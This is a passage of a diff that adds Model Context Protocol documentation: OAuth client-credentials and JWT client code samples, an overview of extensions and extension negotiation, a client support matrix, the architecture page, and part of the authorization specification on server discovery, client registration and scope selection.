tools.tools.map((t) => t.name), + ); + + await transport.close(); + ``` + + + + ```python theme={null} + from mcp.client.auth.extensions.client_credentials import ( + ClientCredentialsOAuthProvider, + ) + from mcp.client.streamable_http import streamablehttp_client + from mcp import ClientSession + + provider = ClientCredentialsOAuthProvider( + server_url="https://mcp.example.com/mcp", + client_id="my-service", + client_secret="s3cr3t", + scopes="read write", + ) + + async with streamablehttp_client( + "https://mcp.example.com/mcp", + auth_provider=provider, + ) as (read_stream, write_stream, _): + async with ClientSession(read_stream, write_stream) as session: + await session.initialize() + + # Use the client + tools = await session.list_tools() + print("Available tools:", [t.name for t in tools.tools]) + ``` + + + + #### Using a JWT private key + + + + ```typescript theme={null} + import { + Client, + PrivateKeyJwtProvider, + StreamableHTTPClientTransport, + } from "@modelcontextprotocol/client"; + + const provider = new PrivateKeyJwtProvider({ + clientId: "my-service", + privateKey: process.env.CLIENT_PRIVATE_KEY_PEM, + algorithm: "RS256", }); - transport.onclose = () => { - if (transport.sessionId) { - delete transports[transport.sessionId]; - } - }; + const client = new Client( + { name: "my-service", version: "1.0.0" }, + { capabilities: {} }, + ); + + const transport = new StreamableHTTPClientTransport( + new URL("https://mcp.example.com/mcp"), + { authProvider: provider }, + ); + + await client.connect(transport); + + // Use the client + const tools = await client.listTools(); + console.log( + "Available tools:", + tools.tools.map((t) => t.name), + ); + + await transport.close(); + ``` + + + + ```python theme={null} + from mcp.client.auth.extensions.client_credentials import ( + PrivateKeyJWTOAuthProvider, + SignedJWTParameters, + ) + from mcp.client.streamable_http import streamablehttp_client + from mcp import ClientSession + + # Create a signed JWT assertion provider from key parameters + jwt_params = SignedJWTParameters( + issuer="my-service", + subject="my-service", + signing_key=open("private_key.pem").read(), + signing_algorithm="RS256", + lifetime_seconds=300, + ) + + provider = PrivateKeyJWTOAuthProvider( + server_url="https://mcp.example.com/mcp", + client_id="my-service", + assertion_provider=jwt_params.create_assertion_provider(), + scopes="read write", + ) + + async with streamablehttp_client( + "https://mcp.example.com/mcp", + auth_provider=provider, + ) as (read_stream, write_stream, _): + async with ClientSession(read_stream, write_stream) as session: + await session.initialize() + + # Use the client + tools = await session.list_tools() + print("Available tools:", [t.name for t in tools.tools]) + ``` + + + + + +## Client support + + + Support for this extension varies by client. Extensions are opt-in and never active by default. + + +Check the [client matrix](/extensions/client-matrix) for current implementation status across MCP clients. + +## Related resources + + + + Source code and reference implementations + + + + Technical specification with normative requirements + + + + The underlying OAuth 2.0 specification + + + + JWT assertion format specification + + + + +# Authorization Extensions +Source: https://modelcontextprotocol.io/extensions/auth/overview + +Supplementary authorization mechanisms for the Model Context Protocol + +The [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth) contains official MCP extensions that add authorization capabilities beyond the core MCP specification. These extensions address specific real-world scenarios where the standard OAuth 2.0 authorization code flow isn't the right fit. + + + Source code, specifications, and reference implementations for MCP + authorization extensions. + + +## Why authorization extensions? + +The core MCP specification includes a robust [authorization framework](/specification/latest/basic/authorization) built on OAuth 2.0. That framework handles the common case well: a user interactively grants an MCP client permission to access a server on their behalf. + +But not every MCP deployment fits this pattern: + +* **Machine-to-machine integrations** don't have a human in the loop. Background services, CI pipelines, and automated workflows need to authenticate without interactive user consent flows. +* **Enterprise environments** often have centralized identity providers (IdPs) that enforce policy across all applications. Requiring employees to authorize each MCP server individually creates friction and bypasses existing security controls. + +The ext-auth extensions address these gaps. + +## Available extensions + + + + Machine-to-machine authentication using the OAuth 2.0 client credentials + flow. No user interaction required. + + + + Centralized access control via enterprise identity providers. Employees + access MCP servers through their organization's IdP. + + + +## Choosing the right extension + +| Scenario | Recommended extension | +| ---------------------------------------------------- | ------------------------------------------------------------------------------------- | +| Background service or daemon accessing an MCP server | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | +| CI/CD pipeline calling MCP tools | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | +| Server-to-server API integration | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | +| Enterprise employees accessing MCP servers at work | [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) | +| Organization-wide MCP access policy enforcement | [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) | +| Standard interactive user authorization | Core MCP spec (no extension needed) | + +## Client support + +Authorization extension support varies by client. See the [client matrix](/extensions/client-matrix) for a full breakdown. Both extensions require explicit support from the MCP client — they are never active by default. + +## Specification + +Both extensions are specified in the [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft). They use the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients and servers declare support in the `extensions` field of their capabilities during initialization. + + +# Extension Support Matrix +Source: https://modelcontextprotocol.io/extensions/client-matrix + +Which MCP clients implement which official extensions + +This matrix shows which MCP clients support each [official extension](/extensions/overview). Extensions are always opt-in — a client only uses an extension if both client and server declare support during the [initialization handshake](/extensions/overview#negotiation). + + + This list is maintained by the community. If you notice any inaccuracies or would like to add or update information, please [submit a pull request](https://github.com/modelcontextprotocol/modelcontextprotocol/pulls). + + +## Extension overview + +| Extension | Identifier | Description | +| ------------------------------------------------------------------------------------- | ---------------------------------------------------------- | --------------------------------------------------------------- | +| [MCP Apps](/extensions/apps/overview) | `io.modelcontextprotocol/ui` | Interactive HTML interfaces rendered inline in the conversation | +| [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | `io.modelcontextprotocol/oauth-client-credentials` | Machine-to-machine auth without interactive user login | +| [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) | `io.modelcontextprotocol/enterprise-managed-authorization` | Centralized access control via enterprise IdP | + +## Support matrix + +| Client | [MCP Apps](/extensions/apps/overview) | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | [Enterprise Auth](/extensions/auth/enterprise-managed-authorization) | +| -------------------------------------------------------- | :-----------------------------------: | :-------------------------------------------------------------------: | :------------------------------------------------------------------: | +| [Claude (web)](https://claude.ai) | | | | +| [Claude Desktop](https://claude.ai/download) | | | | +| [VS Code GitHub Copilot](https://code.visualstudio.com/) | | | | +| [Goose](https://block.github.io/goose/) | | | | +| [Postman](https://postman.com) | | | | +| [MCPJam](https://www.mcpjam.com/) | | | | +| [ChatGPT](https://chatgpt.com/) | | | | +| [Cursor](https://cursor.com/) | | | | + + + Auth extension support (OAuth Client Credentials and Enterprise-Managed Authorization) is tracked separately from the core MCP authorization features (DCR, CIMD) shown on the [clients page](/clients). Check each extension's specification and the [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth) for the latest implementation status. + + +## Adding extension support to your client + +If you're building an MCP client and want to implement extension support: + +1. Review the extension specification (e.g., in the [ext-auth](https://github.com/modelcontextprotocol/ext-auth) or [ext-apps](https://github.com/modelcontextprotocol/ext-apps) repository) +2. Declare support in the `extensions` field of your `initialize` capabilities +3. Implement the extension's protocol requirements +4. Submit a pull request to update this matrix + +See [Extensions Overview](/extensions/overview#negotiation) for details on the capability negotiation mechanism. + + +# Extensions Overview +Source: https://modelcontextprotocol.io/extensions/overview + +Optional extensions to the Model Context Protocol + +# MCP Extensions + +MCP extensions are optional additions to the specification that define capabilities beyond the core protocol. Extensions enable functionality that may be modular (e.g., distinct features like authentication), specialized (e.g., industry-specific logic), or experimental (e.g., features being incubated for potential core inclusion). + +Extensions are identified using a unique *extension identifier* with the format: `{vendor-prefix}/{extension-name}`, e.g. `io.modelcontextprotocol/oauth-client-credentials`. Official extensions use the `io.modelcontextprotocol` vendor prefix. + + + If you're building a third-party extension, use a reversed domain name you own as the vendor prefix to avoid collisions (similar to Java package naming). For example, a company owning `example.com` would use `com.example/` as their prefix (e.g., `com.example/my-extension`). + + +## Official Extension Repositories + +Official extensions live inside the [Model Context Protocol GitHub organization](https://github.com/modelcontextprotocol/) in repositories with the `ext-` prefix. + +### MCP Authorization Extensions + + + Extensions for supplementary authorization mechanisms beyond the core + specification. + + +| Extension | Description | +| ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | +| [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | OAuth 2.0 client credentials flow for machine-to-machine authentication. | +| [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) | Framework for enterprise environments requiring centralized access control. | + +### MCP Apps + + + Extensions for interactive UI elements in conversational MCP clients. + + +| Extension | Description | +| ------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | +| [MCP Apps](/extensions/apps/overview) | Allows MCP Servers to display interactive UI elements (charts, forms, video players) inline within conversations | + +To get started building MCP Apps, see the [quickstart guide](/extensions/apps/build#getting-started) or read the full [MCP Apps documentation](https://apps.extensions.modelcontextprotocol.io/api/documents/Quickstart.html). + +## Experimental Extensions + +Experimental extensions provide an incubation pathway for [Working Groups and Interest Groups](/community/working-interest-groups) to prototype ideas and collaborate on extension concepts before formal SEP submission. + +Experimental extension repositories live within the MCP GitHub organization with the `experimental-ext-` prefix (e.g., `experimental-ext-interceptors`). + +### Ground Rules + +* Every experimental extension needs to be associated with a Working Group or Interest Group +* Repositories and published packages need to clearly indicate their experimental status (e.g., in the README and package name) +* [Core Maintainers](/community/contributor-ladder#core-maintainer) retain oversight of experimental extension repositories, including the ability to archive or remove them + +### Graduation to Official Status + +To promote an experimental extension to official status, it goes through the standard SEP process (Extensions Track). Feel free to reference the experimental repository and any reference implementations you built during incubation to demonstrate the extension's practicality. + +## Creating Extensions + +The lifecycle for official extensions follows a SEP-based process. For full details, see [SEP-2133: Extensions](/seps/2133-extensions). + +1. **Propose**: Create a SEP in the main MCP repository using the [standard SEP guidelines](/community/sep-guidelines) with type **Extensions Track**. +2. **Implement**: Build at least one reference implementation in an official SDK — this is required before the SEP can be reviewed. +3. **Review**: [Core Maintainers](/community/contributor-ladder#core-maintainer) review the SEP and have final authority over inclusion. +4. **Publish**: Once approved, open a PR to add the extension to the extension repository. +5. **Adopt**: After that, other clients, servers, and SDKs can implement the extension too. + +### Requirements + +* Extension specifications need to use RFC 2119 language (MUST, SHOULD, MAY) +* Extensions must have an associated working group or interest group + +### SDK Implementation + +SDKs can choose to implement extensions, but it's not required for protocol conformance. SDK maintainers have full autonomy over which extensions they support. Where an SDK does support extensions, SDK documentation should list which extensions are supported. + + + Extensions are always disabled by default and require explicit opt-in from the developer. + + +### Evolution + +Extensions evolve independently of the core protocol. Updates are managed by the extension repository maintainers and don't require core maintainer review. + +That said, backwards compatibility matters. When you need to change an extension, prefer using capability flags or versioning within the extension settings object rather than creating a new extension identifier. If a breaking change is unavoidable, use a new identifier (e.g., `io.modelcontextprotocol/my-extension-v2`). + +A **breaking change** is any modification that would cause existing implementations to fail or behave incorrectly, including: + +* Removing or renaming fields +* Changing field types +* Altering the semantics of existing behavior +* Adding new required fields + +## Negotiation + +Clients and servers advertise their support for extensions in the `extensions` field within their respective capabilities during the [initialization handshake](/specification/latest/basic/lifecycle). + +### Client Capabilities + +Clients advertise extension support in the `initialize` request: + +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": { + "protocolVersion": "2025-06-18", + "capabilities": { + "roots": { + "listChanged": true + }, + "extensions": { + "io.modelcontextprotocol/ui": { + "mimeTypes": ["text/html;profile=mcp-app"] + } + } + }, + "clientInfo": { + "name": "ExampleClient", + "version": "1.0.0" + } + } +} +``` + +### Server Capabilities + +Servers advertise extension support in the `initialize` response: + +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "protocolVersion": "2025-06-18", + "capabilities": { + "tools": {}, + "extensions": { + "io.modelcontextprotocol/ui": {} + } + }, + "serverInfo": { + "name": "ExampleServer", + "version": "1.0.0" + } + } +} +``` + +Each extension specifies the schema of its settings object; an empty object indicates no settings. + +### Graceful Degradation + +If one side supports an extension but the other doesn't, the supporting side needs to either fall back to core protocol behavior or reject the request with an appropriate error if the extension is mandatory. + +It's a good practice to document expected fallback behavior in your extension. For example, a server offering UI-enhanced tools should still return meaningful text content for clients that don't support the UI extension. On the other hand, a server that requires a specific authentication extension can reject connections from clients that don't support it. + + +# Architecture +Source: https://modelcontextprotocol.io/specification/2025-11-25/architecture/index + + + +
+ +The Model Context Protocol (MCP) follows a client-host-server architecture where each +host can run multiple client instances. This architecture enables users to integrate AI +capabilities across applications while maintaining clear security boundaries and +isolating concerns. Built on JSON-RPC, MCP provides a stateful session protocol focused +on context exchange and sampling coordination between clients and servers. + +## Core Components + +```mermaid theme={null} +graph LR + subgraph "Application Host Process" + H[Host] + C1[Client 1] + C2[Client 2] + C3[Client 3] + H --> C1 + H --> C2 + H --> C3 + end + + subgraph "Local machine" + S1[Server 1
Files & Git] + S2[Server 2
Database] + R1[("Local
Resource A")] + R2[("Local
Resource B")] + + C1 --> S1 + C2 --> S2 + S1 <--> R1 + S2 <--> R2 + end + + subgraph "Internet" + S3[Server 3
External APIs] + R3[("Remote
Resource C")] + + C3 --> S3 + S3 <--> R3 + end +``` + +### Host + +The host process acts as the container and coordinator: + +* Creates and manages multiple client instances +* Controls client connection permissions and lifecycle +* Enforces security policies and consent requirements +* Handles user authorization decisions +* Coordinates AI/LLM integration and sampling +* Manages context aggregation across clients + +### Clients + +Each client is created by the host and maintains an isolated server connection: + +* Establishes one stateful session per server +* Handles protocol negotiation and capability exchange +* Routes protocol messages bidirectionally +* Manages subscriptions and notifications +* Maintains security boundaries between servers + +A host application creates and manages multiple clients, with each client having a 1:1 +relationship with a particular server. + +### Servers + +Servers provide specialized context and capabilities: + +* Expose resources, tools and prompts via MCP primitives +* Operate independently with focused responsibilities +* Request sampling through client interfaces +* Must respect security constraints +* Can be local processes or remote services + +## Design Principles + +MCP is built on several key design principles that inform its architecture and +implementation: + +1. **Servers should be extremely easy to build** + * Host applications handle complex orchestration responsibilities + * Servers focus on specific, well-defined capabilities + * Simple interfaces minimize implementation overhead + * Clear separation enables maintainable code + +2. **Servers should be highly composable** + * Each server provides focused functionality in isolation + * Multiple servers can be combined seamlessly + * Shared protocol enables interoperability + * Modular design supports extensibility + +3. **Servers should not be able to read the whole conversation, nor "see into" other + servers** + * Servers receive only necessary contextual information + * Full conversation history stays with the host + * Each server connection maintains isolation + * Cross-server interactions are controlled by the host + * Host process enforces security boundaries + +4. **Features can be added to servers and clients progressively** + * Core protocol provides minimal required functionality + * Additional capabilities can be negotiated as needed + * Servers and clients evolve independently + * Protocol designed for future extensibility + * Backwards compatibility is maintained + +## Capability Negotiation + +The Model Context Protocol uses a capability-based negotiation system where clients and +servers explicitly declare their supported features during initialization. Capabilities +determine which protocol features and primitives are available during a session. + +* Servers declare capabilities like resource subscriptions, tool support, and prompt + templates +* Clients declare capabilities like sampling support and notification handling +* Both parties must respect declared capabilities throughout the session +* Additional capabilities can be negotiated through extensions to the protocol + +```mermaid theme={null} +sequenceDiagram + participant Host + participant Client + participant Server + + Host->>+Client: Initialize client + Client->>+Server: Initialize session with capabilities + Server-->>Client: Respond with supported capabilities + + Note over Host,Server: Active Session with Negotiated Features + + loop Client Requests + Host->>Client: User- or model-initiated action + Client->>Server: Request (tools/resources) + Server-->>Client: Response + Client-->>Host: Update UI or respond to model + end + + loop Server Requests + Server->>Client: Request (sampling) + Client->>Host: Forward to AI + Host-->>Client: AI response + Client-->>Server: Response + end + + loop Notifications + Server--)Client: Resource updates + Client--)Server: Status changes + end + + Host->>Client: Terminate + Client->>-Server: End session + deactivate Server +``` + +Each capability unlocks specific protocol features for use during the session. For +example: + +* Implemented [server features](/specification/2025-11-25/server) must be advertised in the + server's capabilities +* Emitting resource subscription notifications requires the server to declare + subscription support +* Tool invocation requires the server to declare tool capabilities +* [Sampling](/specification/2025-11-25/client) requires the client to declare support in its + capabilities + +This capability negotiation ensures clients and servers have a clear understanding of +supported functionality while maintaining protocol extensibility. + + +# Authorization +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization + + + +
+ +## Introduction + +### Purpose and Scope + +The Model Context Protocol provides authorization capabilities at the transport level, +enabling MCP clients to make requests to restricted MCP servers on behalf of resource +owners. This specification defines the authorization flow for HTTP-based transports. + +### Protocol Requirements + +Authorization is **OPTIONAL** for MCP implementations. When supported: + +* Implementations using an HTTP-based transport **SHOULD** conform to this specification. +* Implementations using an STDIO transport **SHOULD NOT** follow this specification, and + instead retrieve credentials from the environment. +* Implementations using alternative transports **MUST** follow established security best + practices for their protocol. + +### Standards Compliance + +This authorization mechanism is based on established specifications listed below, but +implements a selected subset of their features to ensure security and interoperability +while maintaining simplicity: + +* OAuth 2.1 IETF DRAFT ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)) +* OAuth 2.0 Authorization Server Metadata + ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414)) +* OAuth 2.0 Dynamic Client Registration Protocol + ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)) +* OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) +* OAuth Client ID Metadata Documents ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)) + +## Roles + +A protected *MCP server* acts as an [OAuth 2.1 resource server](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles), +capable of accepting and responding to protected resource requests using access tokens. + +An *MCP client* acts as an [OAuth 2.1 client](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles), +making protected resource requests on behalf of a resource owner. + +The *authorization server* is responsible for interacting with the user (if necessary) and issuing access tokens for use at the MCP server. +The implementation details of the authorization server are beyond the scope of this specification. It may be hosted with the +resource server or a separate entity. The [Authorization Server Discovery section](#authorization-server-discovery) +specifies how an MCP server indicates the location of its corresponding authorization server to a client. + +## Overview + +1. Authorization servers **MUST** implement OAuth 2.1 with appropriate security + measures for both confidential and public clients. + +2. Authorization servers and MCP clients **SHOULD** support OAuth Client ID Metadata Documents + ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)). + +3. Authorization servers and MCP clients **MAY** support the OAuth 2.0 Dynamic Client Registration + Protocol ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)). + +4. MCP servers **MUST** implement OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)). + MCP clients **MUST** use OAuth 2.0 Protected Resource Metadata for authorization server discovery. + +5. MCP authorization servers **MUST** provide at least one of the following discovery mechanisms: + + * OAuth 2.0 Authorization Server Metadata ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414)) + * [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html) + + MCP clients **MUST** support both discovery mechanisms to obtain the information required to interact with the authorization server. + +## Authorization Server Discovery + +This section describes the mechanisms by which MCP servers advertise their associated +authorization servers to MCP clients, as well as the discovery process through which MCP +clients can determine authorization server endpoints and supported capabilities. + +### Authorization Server Location + +MCP servers **MUST** implement the OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) +specification to indicate the locations of authorization servers. The Protected Resource Metadata document returned by the MCP server **MUST** include +the `authorization_servers` field containing at least one authorization server. + +The specific use of `authorization_servers` is beyond the scope of this specification; implementers should consult +OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) for +guidance on implementation details. + +Implementors should note that Protected Resource Metadata documents can define multiple authorization servers. The responsibility for selecting which authorization server to use lies with the MCP client, following the guidelines specified in +[RFC9728 Section 7.6 "Authorization Servers"](https://datatracker.ietf.org/doc/html/rfc9728#name-authorization-servers). + +### Protected Resource Metadata Discovery Requirements + +MCP servers **MUST** implement one of the following discovery mechanisms to provide authorization server location information to MCP clients: + +1. **WWW-Authenticate Header**: Include the resource metadata URL in the `WWW-Authenticate` HTTP header under `resource_metadata` when returning `401 Unauthorized` responses, as described in [RFC9728 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9728#name-www-authenticate-response). + +2. **Well-Known URI**: Serve metadata at a well-known URI as specified in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728). This can be either: + * At the path of the server's MCP endpoint: `https://example.com/public/mcp` could host metadata at `https://example.com/.well-known/oauth-protected-resource/public/mcp` + * At the root: `https://example.com/.well-known/oauth-protected-resource` + +MCP clients **MUST** support both discovery mechanisms and use the resource metadata URL from the parsed `WWW-Authenticate` headers when present; otherwise, they **MUST** fall back to constructing and requesting the well-known URIs in the order listed above. + +MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in +[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3) +to indicate the scopes required for accessing the resource. This provides clients with immediate +guidance on the appropriate scopes to request during authorization, +following the principle of least privilege and preventing clients from requesting excessive permissions. + +The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_supported`, be a subset +or superset of it, or an alternative collection that is neither a strict subset nor +superset. Clients **MUST NOT** assume any particular set relationship between the challenged +scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the +challenge as authoritative for satisfying the current request. Servers **SHOULD** strive for +consistency in how they construct scope sets but they are not required to surface every dynamically +issued scope through `scopes_supported`. + +Example 401 response with scope guidance: + +```http theme={null} +HTTP/1.1 401 Unauthorized +WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource", + scope="files:read" +``` + +MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server. + +If the `scope` parameter is absent, clients **SHOULD** apply the fallback behavior defined in the [Scope Selection Strategy](#scope-selection-strategy) section. + +### Authorization Server Metadata Discovery + +To handle different issuer URL formats and ensure interoperability with both OAuth 2.0 Authorization Server Metadata and OpenID Connect Discovery 1.0 specifications, MCP clients **MUST** attempt multiple well-known endpoints when discovering authorization server metadata. + +The discovery approach is based on [RFC8414 Section 3.1 "Authorization Server Metadata Request"](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1) for OAuth 2.0 Authorization Server Metadata discovery and [RFC8414 Section 5 "Compatibility Notes"](https://datatracker.ietf.org/doc/html/rfc8414#section-5) for OpenID Connect Discovery 1.0 interoperability. + +For issuer URLs with path components (e.g., `https://auth.example.com/tenant1`), clients **MUST** try endpoints in the following priority order: + +1. OAuth 2.0 Authorization Server Metadata with path insertion: `https://auth.example.com/.well-known/oauth-authorization-server/tenant1` +2. OpenID Connect Discovery 1.0 with path insertion: `https://auth.example.com/.well-known/openid-configuration/tenant1` +3. OpenID Connect Discovery 1.0 path appending: `https://auth.example.com/tenant1/.well-known/openid-configuration` + +For issuer URLs without path components (e.g., `https://auth.example.com`), clients **MUST** try: + +1. OAuth 2.0 Authorization Server Metadata: `https://auth.example.com/.well-known/oauth-authorization-server` +2. OpenID Connect Discovery 1.0: `https://auth.example.com/.well-known/openid-configuration` + +### Authorization Server Discovery Sequence Diagram + +The following diagram outlines an example flow: + +```mermaid theme={null} +sequenceDiagram + participant C as Client + participant M as MCP Server (Resource Server) + participant A as Authorization Server + + Note over C: Attempt unauthenticated MCP request + C->>M: MCP request without token + M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header) + + alt Header includes resource_metadata + Note over C: Extract resource_metadata URL from header + C->>M: GET resource_metadata URI + M-->>C: Resource metadata with authorization server URL + else No resource_metadata in header + Note over C: Fallback to well-known URI probing + Note over M: _Not applicable if the MCP server is at the root_ + C->>M: GET /.well-known/oauth-protected-resource/mcp + alt Sub-path metadata found + M-->>C: Resource metadata with authorization server URL + else Sub-path not found + C->>M: GET /.well-known/oauth-protected-resource + alt Root metadata found + M-->>C: Resource metadata with authorization server URL + else Root metadata not found + Note over C: Abort or use pre-configured values + end + end + end + + Note over C: Validate RS metadata,
build AS metadata URL + + C->>A: GET Authorization server metadata endpoint + Note over C,A: Try OAuth 2.0 and OpenID Connect
discovery endpoints in priority order + A-->>C: Authorization server metadata + + Note over C,A: OAuth 2.1 authorization flow happens here + + C->>A: Token request + A-->>C: Access token + + C->>M: MCP request with access token + M-->>C: MCP response + Note over C,M: MCP communication continues with valid token +``` + +## Client Registration Approaches + +MCP supports three client registration mechanisms. Choose based on your scenario: + +* **Client ID Metadata Documents**: When client and server have no prior relationship (most common) +* **Pre-registration**: When client and server have an existing relationship +* **Dynamic Client Registration**: For backwards compatibility or specific requirements + +Clients supporting all options **SHOULD** follow the following priority order: + +1. Use pre-registered client information for the server if the client has it available +2. Use Client ID Metadata Documents if the Authorization Server indicates if the server supports it (via `client_id_metadata_document_supported` in OAuth Authorization Server Metadata) +3. Use Dynamic Client Registration as a fallback if the Authorization Server supports it (via `registration_endpoint` in OAuth Authorization Server Metadata) +4. Prompt the user to enter the client information if no other option is available + +### Client ID Metadata Documents + +MCP clients and authorization servers **SHOULD** support OAuth Client ID Metadata Documents as specified in +[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00). +This approach enables clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document +containing client metadata. This addresses the common MCP scenario where servers and clients have +no pre-existing relationship. + +#### Implementation Requirements + +MCP implementations supporting Client ID Metadata Documents **MUST** follow the requirements specified in +[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00). +Key requirements include: + +**For MCP Clients:** + +* Clients **MUST** host their metadata document at an HTTPS URL following RFC requirements +* The `client_id` URL **MUST** use the "https" scheme and contain a path component, e.g. `https://example.com/client.json` +* The metadata document **MUST** include at least the following properties: `client_id`, `client_name`, `redirect_uris` +* Clients **MUST** ensure the `client_id` value in the metadata matches the document URL exactly +* Clients **MAY** use `private_key_jwt` for client authentication (e.g., for requests to the token endpoint) with appropriate JWKS configuration as described in [Section 6.2 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.2) + +**For Authorization Servers:** + +* **SHOULD** fetch metadata documents when encountering URL-formatted client\_ids +* **MUST** validate that the fetched document's `client_id` matches the URL exactly +* **SHOULD** cache metadata respecting HTTP cache headers +* **MUST** validate redirect URIs presented in an authorization request against those in the metadata document +* **MUST** validate the document structure is valid JSON and contains required fields +* **SHOULD** follow the security considerations in [Section 6 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6) + +#### Example Metadata Document + +```json theme={null} +{ + "client_id": "https://app.example.com/oauth/client-metadata.json", + "client_name": "Example MCP Client", + "client_uri": "https://app.example.com", + "logo_uri": "https://app.example.com/logo.png", + "redirect_uris": [ + "http://127.0.0.1:3000/callback", + "http://localhost:3000/callback" + ], + "grant_types": ["authorization_code"], + "response_types": ["code"], + "token_endpoint_auth_method": "none" +} +``` + +#### Client ID Metadata Documents Flow + +The following diagram illustrates the complete flow when using Client ID Metadata Documents: + +```mermaid theme={null} +sequenceDiagram + participant User + participant Client as MCP Client + participant Server as Authorization Server + participant Metadata as Metadata Endpoint
(Client's HTTPS URL) + participant Resource as MCP Server + + Note over Client,Metadata: Client hosts metadata at
https://app.example.com/oauth/metadata.json + + User->>Client: Initiates connection to MCP Server + Client->>Server: Authorization Request
client_id=https://app.example.com/oauth/metadata.json
redirect_uri=http://localhost:3000/callback + + Server->>User: Authentication prompt + User->>Server: Provides credentials + Note over Server: Authenticates user + + Note over Server: Detects URL-formatted client_id + + Server->>Metadata: GET https://app.example.com/oauth/metadata.json + Metadata-->>Server: JSON Metadata Document
{client_id, client_name, redirect_uris, ...} + + Note over Server: Validates:
1. client_id matches URL
2. redirect_uri in allowed list
3. Document structure valid
4. (Optional) Domain allowed via trust policy + + alt Validation Success + Server->>User: Display consent page with client_name + User->>Server: Approves access + Server->>Client: Authorization code via redirect_uri + Client->>Server: Exchange code for token
client_id=https://app.example.com/oauth/metadata.json + Server-->>Client: Access token + Client->>Resource: MCP requests with access token + Resource-->>Client: MCP responses + else Validation Failure + Server->>User: Error response
error=invalid_client or invalid_request + end + + Note over Server: Cache metadata for future requests
(respecting HTTP cache headers) +``` + +#### Discovery + +Authorization servers advertise that they support clients using Client ID Metadata Documents by including the following property in their OAuth Authorization Server metadata: + +```json theme={null} +{ + "client_id_metadata_document_supported": true +} +``` + +MCP clients **SHOULD** check for this capability and **MAY** fall back to Dynamic Client Registration +or pre-registration if unavailable. + +### Preregistration + +MCP clients **SHOULD** support an option for static client credentials such as those supplied by a preregistration flow. This could be: + +1. Hardcode a client ID (and, if applicable, client credentials) specifically for the MCP client to use when + interacting with that authorization server, or +2. Present a UI to users that allows them to enter these details, after registering an + OAuth client themselves (e.g., through a configuration interface hosted by the + server). + +### Dynamic Client Registration + +MCP clients and authorization servers **MAY** support the +OAuth 2.0 Dynamic Client Registration Protocol [RFC7591](https://datatracker.ietf.org/doc/html/rfc7591) +to allow MCP clients to obtain OAuth client IDs without user interaction. +This option is included for backwards compatibility with earlier versions of the MCP authorization spec. + +## Scope Selection Strategy + +When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting +only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients +**SHOULD** follow this priority order for scope selection: + +1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided +2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined. + +This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process. + +This approach minimizes user friction while following the principle of least privilege. +The `scopes_supported` field is intended to represent the minimal set of scopes necessary +for basic functionality (see [Scope Minimization](/specification/2025-11-25/basic/security_best_practices#scope-minimization)), +with additional scopes requested incrementally through the step-up authorization flow 